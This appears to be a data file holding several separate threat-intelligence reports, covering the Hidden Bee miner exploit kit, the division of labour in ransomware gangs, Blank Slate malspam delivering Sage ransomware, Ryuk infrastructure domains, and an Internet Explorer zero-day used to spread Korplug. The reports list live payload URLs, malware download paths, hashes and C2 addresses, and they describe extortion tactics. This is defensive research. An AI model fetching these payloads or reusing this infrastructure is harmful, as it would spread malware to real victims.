text
stringlengths
8
115k
# ‘Hidden Bee’ Miner Delivered via Improved Drive-by Download Toolkit Malwarebytes Labs July 26, 2018 This blog post was authored by @hasherezade and Jérôme Segura. We recently detected a drive-by download attack trying to exploit CVE-2018-4878, a vulnerability in Flash Player, in a sequence that was not matching any of the exploit kit patterns that we currently track. Upon investigation, we discovered something that was new to us, but is part of an existing exploitation framework referenced in late 2017 by Chinese security firm Qihoo360. At the time, the payload appeared to be a Trojan pushing adware. (Note: On July 26, our colleagues from TrendMicro published a blog post calling it the Underminer exploit kit). Since it was last documented, there have been changes to the exploits being used, although the distribution method is similar. One interesting aspect that we don’t see much of these days is the use of encryption to package exploits on-the-fly, which requires a key from the backend server to decrypt and execute them. The payload served in this campaign is also out of the ordinary because it is not a standard PE file. Instead, it is a multiple-stage custom executable format, acting also as a downloader to retrieve LUA scripts used by the threat actors behind the Hidden Bee miner botnet. This was perhaps the first case of a bootkit being used to enslave machines mining cryptocurrencies. ## Campaign Overview The attackers are leveraging malvertising via adult sites to redirect their victims to the exploit kit landing page. We believe this campaign is primarily targeting Asian countries based on the ads that are served and our own telemetry data. A server purporting to be an online dating service contains a malicious iframe responsible for the exploitation and infection phases. ## Traffic Play-by-Play With a few exceptions, exploit kits typically obfuscate their landing page and exploits. But here the threat actors go beyond by using encryption and requiring a key exchange with the backend server in order to decrypt and execute the exploit. In the past, Angler, Nuclear, and Astrum exploit kits have abused the Diffie-Hellman key exchange protocol in similar ways to prevent analysts from replaying malicious traffic. The execution of the malicious code starts from a webpage with an embedded encrypted block. This block is Base64 encoded and encrypted with one of two algorithms: RC4 or Rabbit. After being decrypted, the block is executed. You can find the decoded version of the JavaScript that is being run here. As you can see in the script, it generates a random session key, then encrypts it with the attacker’s public RSA key. The encrypted key is being passed onto the next function and converted into JSON format to perform a POST request to the hardcoded URL. This is what we can see if we look at the traffic between the client and the server (the client sends the encrypted “key” and the server responds with the “value”): ## Server-side With the attackers’ private RSA key, the server decrypts the passed session key. It uses it to encrypt the exploit content with a chosen symmetric algorithm (Rabbit or RC4). It returns the encrypted content back to the client. Thanks to the fact that the client still has an unencrypted version of the key in memory, it is able to decrypt and execute the exploit. However, researchers who just have the traffic captured cannot retrieve the original session key, and replaying the exploit is impossible. Thankfully, we managed to capture the exploit during dynamic analysis. We believe that the decrypted exploit is CVE-2018-8174, as one of our test machines patched against CVE-2016-0189 got exploited successfully. ## Flash Exploit This newer Flash exploit (CVE-2018-4878) was not part of the exploit toolkit at the time Qihoo documented it, and seems to be a more recent addition to boost its capabilities. The shellcode embedded in the exploit is a downloader for the next stage. Upon successful exploitation, it will retrieve its payload at the following URL: This file, given the extension .wasm, pretends to be a Web Assembler module. But in fact, it is something entirely different, appearing to be a custom executable format, or a modified, header-less PE file. It starts from the names of the DLLs that are going to be needed during the execution. As you can see, it loads Cabinet.dll that is used for unpacking cabinet files. In later sections, we saw the APIs and strings that are used for the communication over HTTP protocol. We also found references to “dllhost.exe” and “bin/i386/core.sdb”. It is easy to guess that this module will be downloading something and running via dllhost.exe. Another interesting string is a Base64-encoded content. The decoded content points to more URLs: - http://103.35.72.223/git/wiki.asp?id=530475f52527a9ae1813d529653e9501 - http://103.35.72.223/git/glfw.wasm - http://103.35.72.223/rt/lsv3i06rrmcu491c3tv82uf228.wasm Looking at the traffic captured by Fiddler, we found that, indeed, those URLs are being queried. The requests are coming from dllhost.exe, so that means the above executable was injected there. The file glfw.wasm has nothing in common with Web Assembly. It is, in fact, a Cabinet file, containing packed content under the internal path: bin/i386/core.sdb. Looking inside, we found the same custom executable format, starting from DLL names. Then, HTTP traffic stops. This was another interesting aspect of this threat, because the threat actors are perhaps trying to hide the traffic by pretending to use the SLTP protocol to retrieve the actual payload, which can be seen in the strings extracted from the Cabinet file inside of core.sdb: - INSTALL_SOURCE - &sid=%u - INSTALL_SID - INSTALL_CID - sltp://setup.gohub[.]online:1108/setup.bin?id=128 - ntdll.dll - ZwQueryInformationProcess - VolumeNumber - SCSIDISK - os=%d&ar=%d - kernel32.dll - IsWow64Process - RtlGetNtVersionNumbers - %02x - &sz= - sltp That hostname resolves to 67.198.208[.]110: Pinging setup.gohub.online [67.198.208.110] with 32 bytes of data: Reply from 67.198.208.110: bytes=32 time=76ms TTL=51 Encrypted TCP network traffic from our sandboxed machine shows how the binary payload is retrieved. This whole exploitation and payload retrieval process is rather complex, especially in light of the intended purpose behind this drive-by campaign. Infected hosts are instructed to mine for cryptocurrencies. ## A Sophisticated Attack for a Simple Payload This attack is interesting on many levels for its use of different technologies both in the exploit delivery part as well as how the payload is packaged. According to our telemetry, we believe it is also focused on a select few Asian countries, which makes sense when taking its payload into consideration. It also shows that threat actors haven’t completely given up on exploit kits, despite a noted downward trend over the last couple of years. ## Protection Malwarebytes detects both the IE and Flash exploits, resulting in the infection chain being stopped early on. ## Indicators of Compromise - Injected dating site: 144.202.87[.]106 - Exploit toolkit: 103.35.72[.]223 - 52he3kf2g2rr6l5s1as2u0198k.wasm: 087FD1F1932CDC1949B6BBBD56C7689636DD47043C2F0B6002C9AFB979D0C1DD - glfw.wasm: CCD77AC6FE0C49B4F71552274764CCDDCBA9994DF33CC1240174BCAB11B52313 ## Payload URL and IP - setup.gohub[.]online:1108/setup.bin?id=128 - 67.198.208[.]110 - Miner Proxy: 133.130.101[.]254
# Ransomware Gangs are Starting to Look Like Ocean’s 11 The cybercrime underground ecosystem once housed cybercriminals who would perform attacks from start to finish on their own. This one-man show has nearly completely dissolved, though, as one of the most prominent trends that emerged instead is the specialization of cybercriminals in different niches. If we take a typical attack, we’ll see that not necessarily every cybercriminal will have the know-how to perform each stage involved in the attack: - **Code**: code or acquire malware with the desired capabilities - **Spread**: infect targeted victims - **Extract**: maintain access to infected machines - **Monetize**: get profits from the attack Each stage includes various malicious activities that different actors specialize in. As ransomware operations have been growing and maturing, KELA’s researchers have been observing more cybercriminals offering accompanying services that fall into one of the four niches. When looking specifically into the ransomware supply chain, we can see many actors piling up in the “extract” niche – where actors focus on escalating privileges within a compromised network – and the “monetize” niche – where actors are involved in the negotiation process with victims, DDoS attacks, and spam calls. In this post, KELA focuses on these two niches to better understand the actors who have surfaced around the growing RaaS ecosystem. Some of the major takeaways include: - KELA assesses that domain admin access level of privileges eases ransomware attacks, therefore it is more valuable for cybercriminals. However, only 19% of listings offer domain admin access rights, which raises demand for intrusion specialists capable of escalation of privileges. - Using DARKBEAST, KELA observed multiple posts describing a new role in the ransomware ecosystem – negotiators, whose purpose is to force the victim to pay a ransom using insider information and threats. - As ransomware attackers have begun using additional methods to threaten victims and their partners, such as DDoS attacks and spam calls, the need for such services also appeared. The ransomware ecosystem therefore more and more resembles a corporation with diversified roles inside the company and multiple outsourcing activities. - In order to prevent the attacks and mitigate the risks of being attacked by such a skilled hacking community, enterprise defenders should continually monitor their key assets and their supply chain to mitigate their most relevant threats from the cybercrime underground ecosystem before further damage occurs. The figure above expresses how a ransom is split between ransomware developers and affiliates following an attack. ## Escalation of Privileges Following more than a year of monitoring Initial Access Brokers using KELA’s intelligence technologies, KELA’s researchers identified the influence that the obtained level of privileges (i.e. user or domain/local administrator rights) has on the price of access for sale. For instance, in previous research, KELA observed threat actors raising their prices by 25-115% following their success in escalating privileges up to the domain admin level. KELA’s analysis of network access listings publicly offered for sale in January-May 2021 shows that average domain admin access cost at least 10 times more than access to a machine with user rights. It seems to be a rarer type of offering: domain admin access was literally mentioned only in 19% of listings where initial access brokers specified the level of privileges. That would mean that the majority of offers pertain to lower privileged access, mostly user rights level. As we see, the domain admin access is a more pricey and more valuable type of initial access. Even the percentage of payment ransomware affiliates receive for their work can depend on the level of privileges. For example, in one post, users were looking to work with a ransomware affiliate program or affiliates who supply initial access. They specified: “In the case when we started the process with user rights and encrypted the network after successfully escalating it, our share [of the ransom – KELA] will be a little higher.” However, not all Initial Access Brokers and threat actors know how to gain such types of privileges. This is where actors experienced with privilege escalation enter the stage. In order to understand their work, let’s refresh our memory on how the RaaS supply chain works. Here is a possible scenario of a ransomware attack involving multiple participants: it starts from opportunistic attacks involving phishing attacks or mass exploitation of publicly known vulnerabilities. Such attacks can be performed by Initial Access Brokers themselves or different actors then selling gained credentials on markets or directly to other cybercriminals. These attacks enable threat actors to gain an entry point that they can transform into a wider compromise and establish a sustainable entry channel for other cybercriminals – remote access through RDP, VPN, and other methods. Once the entry channel is finalized, the broker puts up the access for sale where it can be bought by ransomware affiliates who are then proceeding to lateral movement and further malicious processes with the ultimate goal to plant ransomware. The question is: how do they move from user-privileged access to a ransomware attack? If ransomware attackers start a lateral movement from a machine of domain admin, they have better chances to successfully deploy ransomware in a compromised network. However, if all they have is user access, then they need to escalate privileges by themselves – or call for the help of skilled fellows. KELA located multiple posts seeking skilled intrusion specialists (“pentesters,” as Russian-speaking cybercriminals slangily name them) capable of gaining domain admin-privileged access. One of them mentions escalating privileges up to admin rights on “bots from a botnet, European corporations,” which shows another role in the ransomware supply chain that can be outsourced: botnet operators, which can supply the leads to initial access brokers, intrusion specialists, and ransomware affiliates. The post reads: “This is teamwork, we pay a percentage of the profit. We are looking for one person to work out 2-3 bots per day. Constant flow until the end of the year is guaranteed. A little about teamwork: we already have specialists, you can count on fixed bonuses in USD and about 10% from the financial profit.” This means that these actors are looking for an intrusion specialist to escalate privileges on machines from the corporate networks included in a botnet. Then, they would be able to use the access for attacks, including ransomware. Since they mention a fixed fee and 10% share from the “financial profit,” it can mean such specialists will get a percentage of the ransom. Based on several different offers, KELA assesses the intrusion specialists can be paid 10-30% of the ransom for escalating privileges up to the domain user level. Users ready to escalate privileges often offer other services and perform other roles in the ransomware ecosystem, namely as Initial Access Brokers or affiliates/affiliates’ partners. For example, in a thread titled “Will escalate admin rights, will gain domain administrator,” an author offers to perform the whole ransomware encryption process: to bypass antivirus solutions, steal data, delete backups and shadow copies, and even encrypt a network. There are other users ready to do the whole job once they’re provided with initial access. Another example shows an Initial Access Broker who usually sells VPN access listings – also ready to escalate privileges for a fee. It is important to understand not every actor that offers escalation of privileges may be willing to cooperate with ransomware affiliates. For example, one offer KELA discovered specifically mentions “we do not work with crypto lockers,” meaning ransomware. These threat actors stated they focus on working with payment processing systems and using credit card data to gain profits. It illustrates the variety of monetization methods employed by cybercriminals; while now all eyes are on ransomware, it is crucial to remember defending against other threats. ## Negotiators A brand-new position seems to appear in the RaaS landscape: negotiators. Initially, most ransomware operators communicated with victims via email which was mentioned in ransom notes. As RaaS grew and became more prominent and business-like, many actors started establishing their own portals through which all communications were held. The ransomware developers or affiliates were determining the ransom sum, offering discounts, and discussing conditions of payment. However, now this part of the attack also seems to be an outsourced activity – at least for some affiliates and/or developers. Why do ransomware gangs need negotiators? Two hypotheses seem valid: - Victims started using negotiators – while a few years ago there was no such profession, now there is a demand for negotiating services. Ransomware-negotiation specialists partner with the insurance companies and have no lack of clients. Ransom actors had to up their game as well in order to make good margins. - As most ransom actors probably are not native English speakers, more delicate negotiations – specifically around very high budgets and surrounding complex business situations – required better English. When REvil’s representative was looking for a “support” member of the team to hold negotiations, they specifically mentioned “conversational English” as one of the demands. This is not a new case: actors are interested in native English speakers to use for spear-phishing campaigns. KELA noticed several threads on Russian-speaking underground forums where actors were looking for negotiators or discussing their work. In March 2021, a threat actor stated they have access to a large company, most likely in Saudi Arabia, and need a negotiator to contact top managers of several companies. The actor specified they look for an insider or someone with well-established contacts among “recovery and cybersecurity companies in Saudi Arabia.” In the case of the ransom successfully received, the actor promised to pay 1-5 million USD to the negotiator. Several actors responded to the offer. The work process of such negotiators can be inferred from a dispute between the Conti and REvil (Sodinokibi) operators from one side and a negotiators’ team they worked with – from another. This is how Conti’s representative described the collaboration confirming that the service was quite new for the affiliates: “We got interested. When we asked him how it works, we said that when there will be a suitable material [a victim network – KELA], we will offer it to outsourcers [negotiators, among others – KELA].” The dispute began after an attack on Broward County Public Schools, in which Conti demanded a 40 million USD ransom. It turns out, the negotiations were held both by Conti’s affiliates and side negotiators who didn’t manage to collaborate properly. The negotiators claimed they managed to gain insider information that could force the victim to pay the ransom. However, according to the negotiators, the affiliates meddled in the process and ruined their efforts. Conti’s representative argued the negotiators didn’t behave professionally. REvil’s representative also shared his experience of working with the same negotiators’ team, accusing them of scamming. The actors and the forums’ administration didn’t come to a conclusion about who was a scammer in these cases. However, it illustrates the demand and supply for negotiating services. While the dispute was held on the Russian-speaking cybercrime forum Exploit, users from another forum XSS got interested and asked for the negotiators’ contacts. The REvil gang, as mentioned above, was also looking to fill a negotiator position, promising a monthly salary of 3,500-30,000 USD (a fixed fee plus “tips”). KELA’s findings show that for such services negotiators ask for 10-20% of the ransom. ## DDoS and Spam Services Besides the cybercriminals directly involved in the ransomware supply chain, ransomware operators and affiliates use other services that primarily help them to intimidate victims. For example, DDoS attacks became a common way for ransomware operators to force victims to pay the ransom. In order to perform the actual attacks, REvil was observed seeking to hire a team or a person with a botnet that could DDoS a targeted company and its clients as an additional measure. The REvil representative stated: “Estimate your potential – we can ask to shut down even Microsoft for a couple of days.” Another method of intimidating victims into paying is through spam calls and SMS campaigns to a victim company, its clients and partners, or to media outlets. These activities may be carried out by the ransomware operators or, as with other auxiliary operations, outsourced to other actors who specialize in them. As a showcase of the variety of pressure means used by ransom actors, KELA observed Avaddon ransomware operators looking for fax spam services – which can be used both for spamming the victim with threats and as the ransomware delivery vector in certain cases. In addition, just like corporate enterprises, ransomware operators have design and coding requirements. Since they need it for malicious purposes, they also look for such services on cybercrime forums. ## Conclusion During recent years, ransomware gangs grew into cybercrime corporations with members or “employees” specializing in different parts of ransomware attacks and various accompanying services. The recent ban of ransomware on two major Russian-speaking forums does not seem to affect this ecosystem, because only the advertisement of affiliate programs was banned on the forums. Ransomware operators and affiliates still remain active participants in cybercrime discussions; they can hire others, buy their services and offers. Ransomware operations attract cybercriminals by being a fast way to make profits – not only for ransomware developers and affiliates but for everyone involved in their activities with millions of USD in ransom. Confronting such groups requires enterprise defenders to invest in: 1. Cybersecurity awareness and training for all key stakeholders and employees to ensure that key individuals know how to safely use their credentials and personal information online. This cyber training should include specifying how to identify suspicious activities, such as possible scam emails, or unusual requests from unauthorized individuals or email addresses. 2. Regular vulnerability monitoring and patching to continually protect their entire network infrastructure and prevent any unauthorized access by Initial Access Brokers or other network intruders. 3. Targeted and automated monitoring of key assets to immediately detect threats emerging from the cybercrime underground ecosystem. Constant automated and scalable monitoring of an organization’s assets could significantly improve maintaining a reduced attack surface, ultimately helping organizations thwart possible attempts of cyberattacks against them.
# BLANK SLATE MALSPAM STOPS PUSHING LOCKY, STARTS PUSHING SAGE 2.2 RANSOMWARE ## ASSOCIATED FILES: - Zip archive of the pcaps: 2017-10-13-Blank-Slate-campaign-pushes-Sage-2.2-ransomware.pcap.zip 1.6 MB (1,592,055 bytes) - Zip archive of the spreadsheet tracker: 2017-10-13-Blank-Slate-malspam-tracker.csv.zip 1.4 kB (1,390 bytes) - Zip archive of the emails, malware, and artifacts: 2017-10-13-Blank-Slate-malspam-and-artifacts.zip 4.6 MB (4,595,428 bytes) ## SOME BACKGROUND: - 2017-03-02 - Palo Alto Networks Unit 42 Blog: "Blank Slate" Campaign Takes Advantage of Hosting Providers to Spread Ransomware. - 2017-03-22 - Internet Storm Center (ISC): "Blank Slate" malspam still pushing Cerber ransomware. - 2017-06-29 - ISC: Catching up with Blank Slate: a malspam campaign still going strong. - 2017-07-31 - Bleeping Computer: Crypt GlobeImposter Ransomware Distributed via Blank Slate Malspam. - 2017-08-02 - Malware-Traffic-Analysis.net: "Blank Slate" malspam pushing Gryphon ransomware (a BTCware variant). - 2017-09-11 - Malware-Traffic-Analysis.net: Blank Slate malspam pushes "Lukitus" variant Locky ransomware. - 2017-10-04 - Malware-Traffic-Analysis.net: Blank Slate malspam pushes "ykcol" variant Locky ransomware. ## INTRODUCTION Attachments from Blank Slate malspam have been pushing the ".asasin" variant of Locky ransomware since that variant first appeared on Tuesday 2017-10-10. However, sometime on Friday 2017-10-13, Blank Slate malspam stopped pushing Locky. The most recent Locky I found from Blank Slate is SHA256 hash 51c73af1811c47fca69ea1de7d794d07090b4c892632529ea86ea9cee73779ce originally submitted to VirusTotal on 2017-10-13 at 09:57 UTC. Since then, Blank Slate has been pushing Sage 2.2 ransomware. The 2.2 version has been around for months now. For example, here is a documented case of Sage 2.2 ransomware from March 16, 2017. Why did Blank Slate stop pushing Locky ransomware? Maybe it's related to recent Necurs botnet activity. Wednesday 2017-10-11 was the last time I saw Necurs botnet malspam pushing Locky, and all those emails on the 11th had bad formatting. Maybe there's some sort of correlation there, but I cannot say for sure. Other notes: - Thanks to unixronin@ who tipped me off to the changes today. - The HTA file with the decryption instructions states this is Sage 2.2, while the decryptor page states Sage 2.0. Despite the decryptor page, this appears to be Sage 2.2. ## EMAILS Emails noted: - 2017-10-13 00:01 UTC -- From (spoofed): [email protected] -- Attachment name: 208221626.zip - 2017-10-13 02:12 UTC -- From (spoofed): [email protected] -- Attachment name: 144294.zip - 2017-10-13 02:34 UTC -- From (spoofed): [email protected] -- Attachment name: 8686927439.zip - 2017-10-13 03:43 UTC -- From (spoofed): [email protected] -- Attachment name: 5637406077862.zip - 2017-10-13 05:07 UTC -- From (spoofed): [email protected] -- Attachment name: 84519555680060.zip - 2017-10-13 06:10 UTC -- From (spoofed): [recipient's name]@mail2travis.com -- Attachment name: 198946214360482.zip - 2017-10-13 06:20 UTC -- From (spoofed): [email protected] -- Attachment name: 35665301.zip - 2017-10-13 06:46 UTC -- From (spoofed): [email protected] -- Attachment name: 119110093.zip - 2017-10-13 06:58 UTC -- From (spoofed): [email protected] -- Attachment name: 3211643664315.zip - 2017-10-13 06:59 UTC -- From (spoofed): [recipient's name]@hii.net -- Attachment name: 985635388572802.zip - 2017-10-13 08:13 UTC -- From (spoofed): [email protected] -- Attachment name: 13552145.doc - 2017-10-13 08:28 UTC -- From (spoofed): [email protected] -- Attachment name: 9422241891502.doc - 2017-10-13 08:54 UTC -- From (spoofed): [email protected] -- Attachment name: 6053275.doc - 2017-10-13 09:05 UTC -- From (spoofed): [email protected] -- Attachment name: 00256228970790.zip - 2017-10-13 09:35 UTC -- From (spoofed): [email protected] -- Attachment name: 6923637232.zip - 2017-10-13 10:14 UTC -- From (spoofed): [email protected] -- Attachment name: 30652568754119.zip - 2017-10-13 11:42 UTC -- From (spoofed): [email protected] -- Attachment name: 915034748342236.zip - 2017-10-13 11:56 UTC -- From (spoofed): [email protected] -- Attachment name: 8535688411.zip - 2017-10-13 12:33 UTC -- From (spoofed): [email protected] -- Attachment name: 10915849.zip - 2017-10-13 15:16 UTC -- From (spoofed): [email protected] -- Attachment name: 591790149701.zip - 2017-10-13 15:20 UTC -- From (spoofed): [email protected] -- Attachment name: 003154376010488.zip - 2017-10-13 16:18 UTC -- From (spoofed): [recipient's name]@mail2herman.com -- Attachment name: 88507.zip - 2017-10-13 17:30 UTC -- From (spoofed): [email protected] -- Attachment name: 402663106880419.zip ## ZIP ATTACHMENT INFO: - 88507.zip --> 9660.zip --> 9660.js - 67214604.zip --> 29219.zip --> 29219.js - 92181052.zip --> 29459.zip --> 29459.js - 31084472583.zip --> 940.zip --> 940.js - 525463435470.zip --> 28588.zip --> 28588.js - 599450048391.zip --> 22032.zip --> 22032.js - 58843249449955.zip --> 3832.zip --> 3832.js - 004765275711512.zip --> 3902.zip --> 3902.js ## TRAFFIC GENERATED BY .JS/.DOC FILES TO DOWNLOAD SAGE RANSOMWARE: - gonesalejk.info - GET /admin.php?a=1 - johnmoplan.top - GET /1.txt - johnmoplan.top - GET /admin.php?a=1 - jovolewnac.info - GET /admin.php?a=1 - sutranjdf.info - GET /admin.php?a=2 ## SAGE POST-INFECTION TRAFFIC: - 49.51.33.228 port 80 - mbfce24rgn65bx3g.hp8ewo.net - POST / - 49.51.33.228 port 80 - mbfce24rgn65bx3g.0ny42p.com - POST / - UDP connections to over 7,000 random-looking IP addresses over port 13655 ## DOMAINS FROM THE DECRYPTION INSTRUCTIONS: - z5dq36kjy5swjtmr.hp8ewo.net - z5dq36kjy5swjtmr.0ny42p.com - z5dq36kjy5swjtmr.onion ## ASSOCIATED FILES ### ATTACHMENTS: - b0aed0e368425dfe126491b71546ad27061a1c4346b4de51202766b4113620a7 - 4846.doc - 55d6e3ed606acddf3c4112ffe4b4447f4bfacda9d03d187cbc2374b6048f5712 - 28255.doc - da8db4d594370f36b93d4121897d4056cf2f36e61b55b6e8a9569e3121fad1df - 88507.zip - 13584b8ab9b4c5cb7c89e60ca2fd46e0ce3771d50c0e9a5402415580179a13e0 - 67214604.zip - 26ad4cf58b40b2df9ff39ab302d7bf15bbd4a7e064f614015797a13631160ee8 - 92181052.zip - b9216e8e5201a8fc2433ce60cd379077c60c11c888edffc5d130e328ed2c7ffb - 31084472583.zip - 12f96c81580efc35193561fd45e51abd9b742df11777a198d0df9e6800ce1c15 - 525463435470.zip - dd18a44aa3166de08c77083dde6b0d697fde882a38a95f749a451b52c4eac4bc - 599450048391.zip - caf07e4e2670dc3c6b824a1fdb0a0de90a00b0759e95c97e88d07f65d646769b - 58843249449955.zip - 3528de5cdcf6529e1dd7f0e24ead27c0ae360f311e877530f98fb2ac9367c5cc - 004765275711512.zip ### EXTRACTED .JS FILES: - b1ae04485794079bc11902bcd56f4b36408fdedb18c44a55d2d919c65fab577a - 940.js - 35abf5d73f96856c535499f04771f27103fdb1275e0e74bd4c963b9c3225e94e - 3832.js - bab55dc85f006ae26ed5ad447089eb1be80cac75519a199d94620a01651cad13 - 3902.js - e89ffc61e3c79115bfc3d855227405a850eb7a8fa3ac5c4bdd77389ba6945e31 - 9660.js - aba9d22dd3573f0902a7219790915de8dbb0b07b5e25ed28c6a87b4acfaa0c39 - 22032.js - 6bcb0a226921fc1a9e6bebd92dffd5dd528937e6bde50bbcc08fd7593e9da27c - 28588.js - 942f64e913a1f3781adecd88e47f8da75981f69d20ce9206e3374f5331a54e0f - 29219.js - 24fc14ae2bfa634a54cafc6b22a596ad2b85dba621388255d3e0eb6294cd03ae - 29459.js ### FOLLOW-UP MALWARE (SAGE 2.2 BINARIES): - 6132c32a717ff1d5f5ff86ce0d4a27d59b332ec1f5e75f12c1346c0ab3fbda0c - 2017-10-13-Sage-ransomware-example-1-of-9.exe - b16eea3a52ad7ffe0b18309395da9394982b6219f16e021e43ce57731d29a0ec - 2017-10-13-Sage-ransomware-example-2-of-9.exe - 81609d5cdc5068ffd5975c1045710cecdbaa33a2eed682894322847e93c9cb21 - 2017-10-13-Sage-ransomware-example-3-of-9.exe - cb219bf88ceeb2ecf95072576148e17e52e56e5f02876ac00a204a3bcb9352cc - 2017-10-13-Sage-ransomware-example-4-of-9.exe - 008484650884010ac949d1041e48dd0abf4967c9ddf305a971ddfc32f9d4cfeb - 2017-10-13-Sage-ransomware-example-5-of-9.exe - 5a99897d463f1685b83b2d017dc734ba657fe3f612a74fcba730b826fce5e44c - 2017-10-13-Sage-ransomware-example-6-of-9.exe - 64978bc162765959aa0c3de15f4fce90041bf3bc01e668ba649eb7e686222a30 - 2017-10-13-Sage-ransomware-example-7-of-9.exe - 046b9330d7da6619ff96ce3c94adc5f35fa2fb26cd1da7d2f57890bfde5e4f59 - 2017-10-13-Sage-ransomware-example-8-of-9.exe - 8f1374b432fa7580397e57949b32044e89663215e71ad0252638875a61908323 - 2017-10-13-Sage-ransomware-example-9-of-9.exe ## PATHS TO MALWARE: - 4846.doc --> sutranjdf.info/admin.php?a=2 --> C:\Users\[username]\AppData\Local\Temp\32148.exe - 28255.doc --> sutranjdf.info/admin.php?a=2 --> C:\Users\[username]\AppData\Local\Temp\4051.exe - 940.js --> gonesalejk.info/admin.php?a=1 --> C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Templates\417187.exe - 3832.js --> gonesalejk.info/admin.php?a=1 --> C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Templates\220986.exe - 3902.js --> gonesalejk.info/admin.php?a=1 --> C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Templates\27599.exe - 9660.js --> gonesalejk.info/admin.php?a=1 --> C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Templates\483882.exe - 22032.js --> gonesalejk.info/admin.php?a=1 --> C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Templates\636057.exe - 28588.js --> jovolewnac.info/admin.php?a=1 --> C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Templates\496938.exe - 29219.js --> gonesalejk.info/admin.php?a=1 --> C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Templates\803051.exe - 29459.js --> johnmoplan.top/1.txt --> 404 not found (but johnmoplan.top/admin.php?a=1 works fine)
# ThreatConnect Research Roundup: Ryuk and Domains Spoofing ESET and Microsoft Howdy, and welcome to the ThreatConnect Research Roundup, a collection of recent findings by our Research Team and items from open source publications that have resulted in observations of related indicators across ThreatConnect’s CAL™ (Collective Analytics Layer). **Roundup Highlight: Ryuk** In this Roundup, we highlight Incident 20201023A: Ryuk Infrastructure Registered on 10/20/20. ThreatConnect Research identified several probable Ryuk domains based on consistencies with infrastructure identified in Incident 20200930A: Domains Registered Through MonoVM Used with Cobalt Strike and other recent incidents. Those consistencies include naming similarities, registration through NameCheap, and reuse of the same CIDR blocks for hosting. However, those consistencies are not unique and SSL certificates have not been created for most of the domains, nor do we have any information on Cobalt Strike or Bazar communicating with this infrastructure. New SSL certificates or relevant malicious file behavior consistent with the previously identified infrastructure would help increase our confidence in the assessed relationship to Ryuk. The identified infrastructure includes the following: - viewdrivers[.]com (prev. 188.116.36[.]155, 45.153.240[.]222) - service1updater[.]com (prev. 185.117.75[.]193, 45.153.240[.]178) - godofservice[.]com (prev. 194.36.188[.]154, 45.153.240[.]246) - driverdwl[.]com (prev. 194.36.188[.]45, 45.153.240[.]220) - driver1updater[.]com (45.153.240[.]157) - driver1master[.]com (45.153.240[.]194) - checktodrivers[.]com (45.153.240[.]240) - boost-yourservice[.]com (45.153.240[.]138) - backup1master[.]com (45.153.240[.]136) - backup1helper[.]com (prev. 45.153.240[.]133, 45.153.241[.]1) We identified several additional possible Ryuk domains based on consistencies with Incident 20200930A. At least two of the domains were also identified in behavioral information for Cobalt Strike executables, similar to those in the aforementioned Incident. The domains’ consistencies include naming similarities, registration through NameCheap, and reuse of the same CIDR blocks for hosting. It should be noted that those consistencies are not unique and most of the identified infrastructure is not hosted on ASNs seen in the previous infrastructure and SSL certificates have not been created for most of the domains. New SSL certificates or relevant malicious file behavior consistent with the previously identified infrastructure would help increase our confidence in the assessed relationship to Ryuk. The identified infrastructure and files include the following: - backup-helper[.]com (45.147.229[.]44) - backup-leader[.]com (45.147.229[.]52, Cobalt Strike 4544b478b2029ec38eb4bda111741a10f0684e38f1b29ce092b93df882d11f9e) - backup-simple[.]com (45.147.229[.]68) - bakcup-checker[.]com (45.147.229[.]92) - bakcup-monster[.]com (45.147.230[.]131, Cobalt Strike 2376a8da650c124b3d916765f82929b4109f20bc4f211a39a4d1cd4391780d1f) - boost-servicess[.]com (45.147.230[.]132) - nas-leader[.]com (45.147.230[.]133) - nas-simple-helper[.]com (45.147.230[.]140) - service-checker[.]com (45.147.230[.]141) - service-leader[.]com (45.147.230[.]159) **ThreatConnect Research Team Intelligence:** Items recently created or updated in the ThreatConnect Common Community by our Research Team. - 20201021A: Additional Probable Ryuk Infrastructure. ThreatConnect Research identified several probable Ryuk domains based on consistencies with infrastructure identified in Incident 20200930A: Domains Registered Through MonoVM Used with Cobalt Strike and other recent incidents. - 20201019A: Additional Ryuk Infrastructure. ThreatConnect Research identified several most likely Ryuk domains registered on October 14 and 15, 2020 based on consistencies with infrastructure identified in Incident 20200930A: Domains Registered Through MonoVM Used with Cobalt Strike and other recent Ryuk Incidents. - 20201019B: Suspicious Microsoft and ESET Spoofing Domains Hosted at 45.147.231[.]188. ThreatConnect Research identified two suspicious domains that spoof Microsoft and ESET respectively. One domain was registered through NameCheap on June 26, 2019, while the other was registered through NameCheap on October 15, 2020. Both domains began resolving to a probable dedicated server in mid-October 2020.
# New Internet Explorer Zero-Day Exploited in Hong Kong Attacks Bug patched by Microsoft yesterday (CVE-2015-2502) has already been exploited in watering hole attacks to deliver Korplug malware. **By:** Symantec Security Response **Created:** 19 Aug 2015 A newly patched zero-day vulnerability in Internet Explorer has already been exploited in attacks involving a compromised website belonging to an evangelical church in Hong Kong. Symantec telemetry revealed an exploit hosted on the compromised site, which was used to infect visitors with the Korplug back door (detected by Symantec as Backdoor.Korplug). The attackers compromised the website of the Evangelical Lutheran Church of Hong Kong and modified it to host a malicious iFrame which redirected visitors to another website hosting an exploit of the Microsoft Internet Explorer Remote Memory Corruption Vulnerability (CVE-2015-2502). The IP address of this website is 115.144.107.55. This website hosts a file called vvv.html, which redirects to one of two other files called a.js and b.js and leads to the download of a file called java.html to the victim’s computer. Java.html installs Korplug on the computer, in the form of an executable called c.exe. Korplug (also known as PlugX) is a Trojan that maintains a back door on an infected computer and facilitates information stealing. Symantec has previously released several blogs around Korplug. The malware has been used in a range of attacks, mainly in Asia, over the past three years. The new Internet Explorer zero-day bug was patched yesterday by Microsoft as part of Security Bulletin MS15-093. The vulnerability permits remote code execution if a user views a specially crafted web page using Internet Explorer. Successful exploitation of the vulnerability will grant the attacker the same user rights as the current user. Microsoft’s security update resolves this issue by modifying how Internet Explorer handles objects in memory. ## Protection Symantec and Norton products protect against the exploit of this vulnerability with the following detections: **Antivirus** - Hacktool - Trojan.Malscript **Intrusion Prevention System** - Web Attack: MSIE Memory Corruption CVE-2015-2502 The payload used in these attacks is detected as: - Backdoor.Korplug - Trojan.Gen.2 **Tags:** Security, Security Response, Endpoint Protection (AntiVirus), Backdoor.Korplug, Hacktool, Internet Explorer, Microsoft, Trojan.Gen.2, Trojan.Malscript, Vulnerabilities & 